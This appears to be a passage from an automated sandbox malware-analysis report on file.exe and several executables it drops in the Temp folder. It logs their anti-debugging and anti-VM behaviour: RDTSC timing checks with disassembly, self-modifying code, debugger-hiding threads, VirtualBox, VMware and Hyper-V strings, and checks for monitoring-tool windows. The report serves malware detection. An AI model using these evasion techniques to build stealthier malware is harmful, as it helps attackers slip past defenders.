Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480A9A second address: 5480AE6 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F9DB0FF9A3Dh 0x00000008 xor cx, 6056h 0x0000000d jmp 00007F9DB0FF9A41h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 mov ebp, esp 0x00000018 pushad 0x00000019 mov cl, 67h 0x0000001b mov di, 118Ch 0x0000001f popad 0x00000020 cmp dword ptr [75C7459Ch], 05h 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F9DB0FF9A3Dh 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480AE6 second address: 5480AEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480AEA second address: 5480AF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480BD3 second address: 5480BE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, E6E7h 0x00000007 push eax 0x00000008 pop edx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [ebp-1Ch], esi 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A0793 second address: 54A0799 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A0799 second address: 54A079D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A079D second address: 54A0867 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F9DB0FF9A3Fh 0x0000000f xchg eax, esi 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F9DB0FF9A44h 0x00000017 xor ah, FFFFFFF8h 0x0000001a jmp 00007F9DB0FF9A3Bh 0x0000001f popfd 0x00000020 call 00007F9DB0FF9A48h 0x00000025 pop esi 0x00000026 popad 0x00000027 push eax 0x00000028 jmp 00007F9DB0FF9A3Ch 0x0000002d xchg eax, esi 0x0000002e jmp 00007F9DB0FF9A40h 0x00000033 mov esi, dword ptr [ebp+0Ch] 0x00000036 jmp 00007F9DB0FF9A40h 0x0000003b test esi, esi 0x0000003d jmp 00007F9DB0FF9A40h 0x00000042 je 00007F9E217675B4h 0x00000048 jmp 00007F9DB0FF9A40h 0x0000004d cmp dword ptr [75C7459Ch], 05h 0x00000054 pushad 0x00000055 mov bx, si 0x00000058 popad 0x00000059 je 00007F9E2177F672h 0x0000005f push eax 0x00000060 push edx 0x00000061 pushad 0x00000062 push eax 0x00000063 pop ebx 0x00000064 popad 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A0867 second address: 54A087F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9DB10DC5C4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A087F second address: 54A089B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB0FF9A3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov cx, dx 0x00000012 mov ax, dx 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A089B second address: 54A08A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A0992 second address: 54A09AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9DB0FF9A44h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	RDTSC instruction interceptor: First address: 1008734 second address: 100873A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	RDTSC instruction interceptor: First address: 100A112 second address: 100A118 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	RDTSC instruction interceptor: First address: 100A118 second address: 100A132 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9DB10DC5C6h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	RDTSC instruction interceptor: First address: 100A194 second address: 100A257 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jp 00007F9DB0FF9A36h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F9DB0FF9A46h 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 push esi 0x00000017 jbe 00007F9DB0FF9A4Bh 0x0000001d pop esi 0x0000001e mov eax, dword ptr [eax] 0x00000020 jmp 00007F9DB0FF9A49h 0x00000025 mov dword ptr [esp+04h], eax 0x00000029 ja 00007F9DB0FF9A5Bh 0x0000002f pushad 0x00000030 jmp 00007F9DB0FF9A40h 0x00000035 jmp 00007F9DB0FF9A43h 0x0000003a popad 0x0000003b pop eax 0x0000003c sbb di, E39Ah 0x00000041 push 00000003h 0x00000043 jmp 00007F9DB0FF9A3Ah 0x00000048 push 00000000h 0x0000004a mov edx, dword ptr [ebp+122D38BAh] 0x00000050 push 00000003h 0x00000052 mov esi, dword ptr [ebp+122D292Fh] 0x00000058 call 00007F9DB0FF9A39h 0x0000005d pushad 0x0000005e push ecx 0x0000005f push esi 0x00000060 pop esi 0x00000061 pop ecx 0x00000062 pushad 0x00000063 pushad 0x00000064 popad 0x00000065 push eax 0x00000066 push edx 0x00000067 rdtsc
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	RDTSC instruction interceptor: First address: 100A257 second address: 100A264 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	RDTSC instruction interceptor: First address: 100A264 second address: 100A271 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007F9DB0FF9A36h 0x0000000d rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 4EED3E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 4EEC91 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6A08BB instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6CED52 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6ACB53 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 7338FA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Special instruction interceptor: First address: E8DC7A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Special instruction interceptor: First address: 103BE06 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Special instruction interceptor: First address: E9E927 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Special instruction interceptor: First address: E9E89B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Special instruction interceptor: First address: 10C8C02 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: AFE927 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: AFE89B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Special instruction interceptor: First address: E9ED3E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Special instruction interceptor: First address: E9EC91 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Special instruction interceptor: First address: 10508BB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Special instruction interceptor: First address: 107ED52 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Special instruction interceptor: First address: 105CB53 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Special instruction interceptor: First address: 10E38FA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Special instruction interceptor: First address: 117DAE2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Special instruction interceptor: First address: 117DB36 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Special instruction interceptor: First address: 132BEBA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	Special instruction interceptor: First address: 4ADC7A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	Special instruction interceptor: First address: 65BE06 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	Special instruction interceptor: First address: 6E8C02 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe	Special instruction interceptor: First address: 28E927 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe	Special instruction interceptor: First address: 28E89B instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Memory allocated: 5570000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Memory allocated: 5730000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Memory allocated: 5570000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	Memory allocated: 4870000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	Memory allocated: 4A20000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	Memory allocated: 6A20000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe

Code function: 2_2_0100A24D rdtsc

2_2_0100A24D

Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe

Code function: 2_2_0101D32F sidt fword ptr [esp-02h]

2_2_0101D32F

Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 610	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1221	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1134	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1201	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 600	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1234	Jump to behavior

Source: C:\Users\user\Desktop\file.exe TID: 7644	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe TID: 8152	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3228	Thread sleep count: 610 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3228	Thread sleep time: -1220610s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4324	Thread sleep count: 1221 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4324	Thread sleep time: -2443221s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7772	Thread sleep count: 275 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7772	Thread sleep time: -8250000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3332	Thread sleep count: 1134 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3332	Thread sleep time: -2269134s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1800	Thread sleep count: 1201 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1800	Thread sleep time: -2403201s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4916	Thread sleep count: 600 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4916	Thread sleep time: -1200600s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3616	Thread sleep count: 1234 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3616	Thread sleep time: -2469234s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2212	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe TID: 2080	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe TID: 2476	Thread sleep time: -180000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe TID: 5848	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe TID: 7672	Thread sleep time: -84000s >= -30000s

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	Thread delayed: delay time: 922337203685477

Source: skotes.exe, skotes.exe, 00000008.00000002.2981603839.0000000000C76000.00000040.00000001.01000000.0000000C.sdmp, 3e1d30d118.exe, 0000000A.00000003.2791531103.0000000005EFD000.00000004.00000800.00020000.00000000.sdmp, c077ee22d1.exe, 0000000B.00000002.2718230943.000000000130B000.00000040.00000001.01000000.0000000F.sdmp, 3e1d30d118.exe, 0000000C.00000002.2985897233.0000000001033000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 3e1d30d118.exe, 0000000C.00000002.2982202983.0000000000C6B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0F
Source: skotes.exe, 00000008.00000002.2984921705.000000000115A000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000008.00000002.2984921705.0000000001127000.00000004.00000020.00020000.00000000.sdmp, c077ee22d1.exe, 0000000B.00000002.2718871145.0000000001723000.00000004.00000020.00020000.00000000.sdmp, c077ee22d1.exe, 0000000B.00000002.2718871145.00000000016F4000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2883520034.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2874734726.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2881423508.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2896778343.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2879394897.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2900515858.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: c077ee22d1.exe, 0000000B.00000002.2718871145.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000003.1871689516.00000000063CB000.00000004.00000800.00020000.00000000.sdmp, 910S1Q63XQ87I6P4.exe, 00000002.00000000.1872483231.0000000001010000.00000080.00000001.01000000.00000006.sdmp, 910S1Q63XQ87I6P4.exe, 00000002.00000002.2031636005.0000000001010000.00000040.00000001.01000000.00000006.sdmp, SP29EZJLUAF4OXVNPKLP.exe, 00000003.00000002.1954032460.0000000001016000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000006.00000002.1990587948.0000000000C76000.00000040.00000001.01000000.0000000C.sdmp, skotes.exe, 00000007.00000002.2005619805.0000000000C76000.00000040.00000001.01000000.0000000C.sdmp, skotes.exe, 00000008.00000002.2981603839.0000000000C76000.00000040.00000001.01000000.0000000C.sdmp, 3e1d30d118.exe, 0000000A.00000003.2791531103.0000000005EFD000.00000004.00000800.00020000.00000000.sdmp, c077ee22d1.exe, 0000000B.00000002.2718230943.000000000130B000.00000040.00000001.01000000.0000000F.sdmp, 3e1d30d118.exe, 0000000C.00000002.2985897233.0000000001033000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe

Code function: 3_2_051B0B3F Start: 051B0B55 End: 051B0B5C

3_2_051B0B3F

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe

Code function: 2_2_0100A24D rdtsc

2_2_0100A24D

Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe

Code function: 2_2_0101C32B LdrInitializeThunk,

2_2_0101C32B

